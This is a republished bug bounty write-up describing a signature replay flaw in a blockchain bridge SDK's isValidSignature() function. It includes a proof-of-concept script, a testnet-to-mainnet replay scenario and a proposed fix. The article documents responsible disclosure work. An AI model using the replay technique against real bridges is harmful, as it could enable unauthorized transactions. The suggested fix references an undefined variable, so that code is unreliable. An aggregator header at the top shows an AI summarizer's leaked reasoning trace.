How I Found a $1,000 Signature Replay Vulnerability in a Blockchain Bridge SDK
嗯,用户让我总结这篇文章的内容,控制在一百个字以内。首先,我需要通读整篇文章,抓住主要信息。 文章讲的是作者发现了一个区块链桥接SDK中的签名重放漏洞。这个漏洞允许同一个签名在不同网络的校验和格式下验证通过。作者花了90天的时间,经历了多次拒绝和技术研究,最终获得了1000美元的赏金。 接下来,我需要提取关键点:区块链桥接SDK、签名重放漏洞、90天、1000美元赏金。然后把这些信息简洁地组合起来,确保不超过100个字。 可能会这样组织:“作者发现区块链桥接SDK中的签名重放漏洞,导致同一签名可跨网络验证。经过90天的努力和多次拒绝后,获得1000美元赏金。” 检查一下字数是否合适,有没有遗漏的重要信息。看起来没问题了。 </think> 作者发现区块链桥接SDK中的签名重放漏洞,导致同一签名可跨网络验证。经过90天的努力和多次拒绝后,获得1000美元赏金。 2026-3-20 05:8:23 Author: infosecwriteups.com(查看原文) 阅读量:5 收藏

Hacker MD

Press enter or click to view image in full size

A Step-by-Step Journey from Code Review to Bounty

By Mohamadisha Shaikh (HackerMD)| Security Researcher | Bug Bounty Hunter

TL;DR: I discovered a critical signature replay vulnerability in a blockchain bridge SDK that allowed the same cryptographic signature to validate across multiple network checksum formats. This led to a $1,000 bounty reward after 90 days of persistence, rejections, and technical research.

🎯 Introduction

Bug bounty hunting in blockchain security is not easy. Unlike traditional web vulnerabilities (XSS, SQLi, CSRF), blockchain security requires understanding cryptographic primitives, consensus mechanisms, and cross-chain protocols.

This is the story of how I found my first blockchain bug bounty — a signature replay vulnerability in a production Bridge SDK — and what I learned along the way.

🔍 Choosing the Right Target

When I started this research, I specifically focused on blockchain bridge SDKs because:

  1. High complexity = Less competition from other researchers
  2. High impact = Cross-chain vulnerabilities affect real funds
  3. TypeScript/JavaScript = My strongest language for code review
  4. Open source = Full source code available for analysis

The target was a blockchain bridge SDK — software that allows users to move assets between two different blockchain networks (Bitcoin ↔ EVM chain).

Key files I focused on:

src/
├── blockchain/blockchain.ts ← Wallet connections
├── client/httpClient.ts ← HTTP/RPC communication
├── utils/validation.ts ← Input validation logic
└── initialization.ts ← SDK initialization

🧠 Understanding the Codebase

Before finding bugs, I spent 2–3 days just understanding how the SDK works:

What does a Bridge SDK do?

User (Bitcoin) → Bridge SDK → Smart Contract → User (EVM Chain)
└── Signs transaction └── Verifies signature

The SDK:

  1. Connects to user’s wallet (MetaMask/Web3 wallet)
  2. Creates transaction quotes
  3. Signs transactions with user’s private key
  4. Validates signatures before submission
  5. Communicates with bridge servers via HTTP

The Critical Function

Inside src/utils/validation.ts, I found the isValidSignature() function — the core of all signature verification in the SDK.

// Simplified version of what I found
export function isValidSignature(
address: string,
message: string,
signature: string,
isHex: boolean = true
): boolean {
// Recovers address from signature
// Then compares with provided address
// BUG: No network-specific validation!
}

🚨 The Vulnerability Discovery

Initial Observation

While reading the official test file (validation.test.ts), I noticed something interesting on lines 330-344:

test('return true if the signature is valid regardless 
of the address checksum', () => {

const signature = 'b00dcad964ab97d965ac...1b'
const address = '0x26f40996671e622A0a6408B24C0e678D93a9eFEA'
const quoteHash = '767aa241ab418dfca0d...'

const rskChecksumAddress = rskChecksum(address, 31) // Testnet
const ethChecksumAddress = ethers.utils.getAddress(address)

// ALL of these pass ✓
expect(isValidSignature(
address.toLowerCase(), quoteHash, signature)
).toBe(true)

expect(isValidSignature(
rskChecksumAddress, quoteHash, signature)
).toBe(true)

expect(isValidSignature(
ethChecksumAddress, quoteHash, signature)
).toBe(true)
})

My initial thought: “Wait… same signature works for ALL checksum formats? That means Testnet and Mainnet signatures are interchangeable!”

🔬 Deep Dive: What is Address Checksum?

To understand the vulnerability, you need to understand EIP-1191 (RSK’s checksum standard):

Ethereum (EIP-55):

0x26f40996671e622A0a6408B24C0e678D93a9eFEA

RSK Mainnet (EIP-1191, chainId 30):

0x26f40996671E622A0a6408B24C0e678D93a9eFEA

RSK Testnet (EIP-1191, chainId 31):

0x26F40996671e622A0a6408b24c0E678d93A9EfEA

Same address, different capitalization patterns. The checksum encodes the network in the letter casing.

The bug: isValidSignature() was normalizing addresses to lowercase BEFORE comparison, effectively stripping the network information from the validation process.

💻 Building the Proof of Concept

Step 1: Build the Project

git clone https://github.com/[target]/bridges-core-sdk
cd bridges-core-sdk
npm install
npm run build
# Output: ./lib/index.js

Step 2: Write the PoC

// real_exploit.js
const { isValidSignature, rskChecksum } = require('./lib/index.js');
const ethers = require('ethers');

// Real signature from official test suite
const signature = 'b00dcad964ab97d965ac473fc8bb8ceb21ce13608cdc44d7b65e9d2d2443d0535a094ec449a18ef1f1a5d91cbee5302cfa9b99556a7de3414c190a1d3e811a5b1b';
const quoteHash = '767aa241ab418dfca0d418fef395d85c398a4c70a6ac4ea81429cf18ef4d6038';
const address = '0x26f40996671e622A0a6408B24C0e678D93a9eFEA';
// Test 1: Lowercase (no network info)
const result1 = isValidSignature(address.toLowerCase(), quoteHash, signature);
// Test 2: RSK Mainnet checksum (chainId 30)
const rskMain = rskChecksum(address, 30);
const result2 = isValidSignature(rskMain, quoteHash, signature);
// Test 3: RSK Testnet checksum (chainId 31)
const rskTest = rskChecksum(address, 31);
const result3 = isValidSignature(rskTest, quoteHash, signature);
// Test 4: Ethereum checksum
const ethCheck = ethers.utils.getAddress(address);
const result4 = isValidSignature(ethCheck, quoteHash, signature);
console.log(`Lowercase: ${result1}`); // true ✓
console.log(`RSK Mainnet: ${result2}`); // true ✓
console.log(`RSK Testnet: ${result3}`); // true ✓
console.log(`ETH Checksum: ${result4}`); // true ✓

Step 3: Run and Confirm

node real_exploit.js

# Output:
Lowercase: true ✓
RSK Mainnet: true ✓
RSK Testnet: true ✓
ETH Checksum: true ✓
[!] VULNERABILITY CONFIRMED!

The vulnerability was real and reproducible!

📋 Writing the Bug Report

What Makes a Good Blockchain Bug Report?

After researching top bug bounty reports, I structured mine as:

  1. Clear title — Specific and technical
  2. Working PoC — Actual code that runs
  3. Attack scenario — Real-world impact
  4. Evidence — Source code references
  5. Recommended fix — Actionable solution

My Attack Scenario

Step 1: User signs transaction on TESTNET
Uses RSK Testnet checksum address
Signature: 0xb00dcad964...

Step 2: Attacker captures signature
Source: Network monitoring, transaction history
Step 3: Attacker replays on MAINNET
Uses lowercase address (strips network info)
Same signature → VALIDATES ✓
Step 4: Unintended transaction executes
No additional user signature required

📉 The Rejection… and Comeback

First Response: REJECTED ❌

"The issues you pointed out are based on best practices 
but they do not affect directly the security of the platform"

My reaction: Disappointed but not defeated.

Get Hacker MD’s stories in your inbox

Join Medium for free to get updates from this writer.

Remember me for faster sign in

My analysis of rejection:

  • Report had multiple issues mixed together
  • Impact wasn’t demonstrated clearly enough
  • Attack scenario needed more specificity

10 Days Later: REOPENED ✅

"Regarding the first one, we are running some extra 
validations. We will reopen this issue."

What changed?

  • Security team did their own testing
  • Confirmed the signature bypass was real
  • Title changed to: “isValidSignature() allows signature replay from testnet to mainnet”

Key lesson: Don’t give up after first rejection!

💰 Final Verdict: $1,000 Bounty

90 days after submission:

Status: TRIAGED ✅
Severity: Critical → Low (downgraded)
Bounty: $1,000 AWARDED 💰

Reason for downgrade:
"Deployment addresses are not the same in testnet
and mainnet, so there is no practical attack
under those circumstances"

Understanding the Severity Downgrade

They downgraded from Critical to Low because:

  • Smart contract addresses differ between Testnet and Mainnet
  • Direct replay attack in production is limited
  • But the design flaw exists at SDK level

My takeaway: The vulnerability is real, but practical exploitation requires additional conditions. Always consider deployment context when assessing impact!

🎓 Key Lessons Learned

Technical Lessons:

1. Understand EIP Standards

EIP-55  → Ethereum address checksum
EIP-191 → Signed data standard
EIP-155 → Replay attack protection (chain ID)
EIP-1191 → RSK network checksum

2. Chain ID Matters
Always check if signatures include chain ID binding:

// BAD - No chain binding
const sig = await signer.signMessage(hash)

// GOOD - Chain bound (EIP-155)
const sig = await signer.signTransaction({ chainId: 30, ...txData })

3. Cross-Chain Security is Hard
Bridge protocols are among the most attacked in DeFi:

  • Over $2 billion stolen from bridges in 2022 alone
  • Signature validation is critical attack surface
  • Always test cross-chain scenarios

Bug Bounty Lessons:

1. One Bug Per Report
Programs explicitly request this. Multiple bugs = multiple reports = more bounties!

2. PoC Must Be Production-Like
Programs reject theoretical vulnerabilities. Show real impact with working code.

3. Rejection ≠ Invalid
First rejection is often from junior triagers. Politely provide more evidence.

4. Patience is Key
My timeline: 90 days for $1,000. Worth every day!

5. Communicate Professionally

✅ "Could you please provide an update on the validation status?"
❌ "Why are you ignoring my report???"

🛠️ Recommended Fix

For the SDK developers reading this:

// Current (Vulnerable):
function isValidSignature(address: string, message: string, sig: string): boolean {
const recovered = ethers.utils.recoverAddress(hash, sig)
return recovered.toLowerCase() === address.toLowerCase() // ← Problem here
}
// Fixed (Secure):
function isValidSignature(
address: string,
message: string,
sig: string,
chainId: number // ← Add chain ID
): boolean {
// Validate address checksum matches expected network
const expectedChecksum = rskChecksum(address, chainId)

const recovered = ethers.utils.recoverAddress(hash, sig)

// Compare with network-specific checksum (not lowercase)
return rskChecksum(recovered, chainId) === expectedChecksum
}

Additional recommendations:

  1. Implement EIP-155 chain ID binding in all signatures
  2. Add network-specific address validation
  3. Reject signatures from different network checksums
  4. Add nonce to prevent replay scenarios

🔍 Tools I Used

Press enter or click to view image in full size

📊 Statistics

Time Spent on Research:    ~2 weeks
Days to First Response: 12 days
Days to Triage: 72 days
Days to Bounty: 90 days
Severity: Low (downgraded from Critical)
Bounty Received: $1,000 USD
Lines of Code Reviewed: ~500 lines
Files Analyzed: 8 core files

🚀 Conclusion

Finding my first blockchain bug bounty taught me more than any course or tutorial could. The combination of:

  • Deep code review skills
  • Cryptographic understanding
  • Persistence through rejection
  • Professional communication

…led to a real security finding and a real bounty.

If you’re starting out in blockchain security:

  1. Learn the standards (EIPs, CWEs, blockchain fundamentals)
  2. Read source code like a detective
  3. Build working PoCs — not theories
  4. Be patient — blockchain programs move slowly
  5. Never give up after first rejection

The best bugs are found by those who look deepest. 🔍

About the Author

I’m a security researcher and bug bounty hunter from India, specializing in:

  • Blockchain/DeFi security
  • Smart contract auditing
  • Web application penetration testing
  • Vulnerability research

Thanks for reading! If this helped you, give it a clap 👏 and follow for more security research writeups.

#BlockchainSecurity #BugBounty #EthicalHacking #Web3Security #CryptographicVulnerability #SecurityResearch #DeFiSecurity #PenTesting


文章来源: https://infosecwriteups.com/how-i-found-a-1-000-signature-replay-vulnerability-in-a-blockchain-bridge-sdk-61cdf25c901c?source=rss----7b722bfd1b8d--bug_bounty
如有侵权请联系:admin#unsafe.sh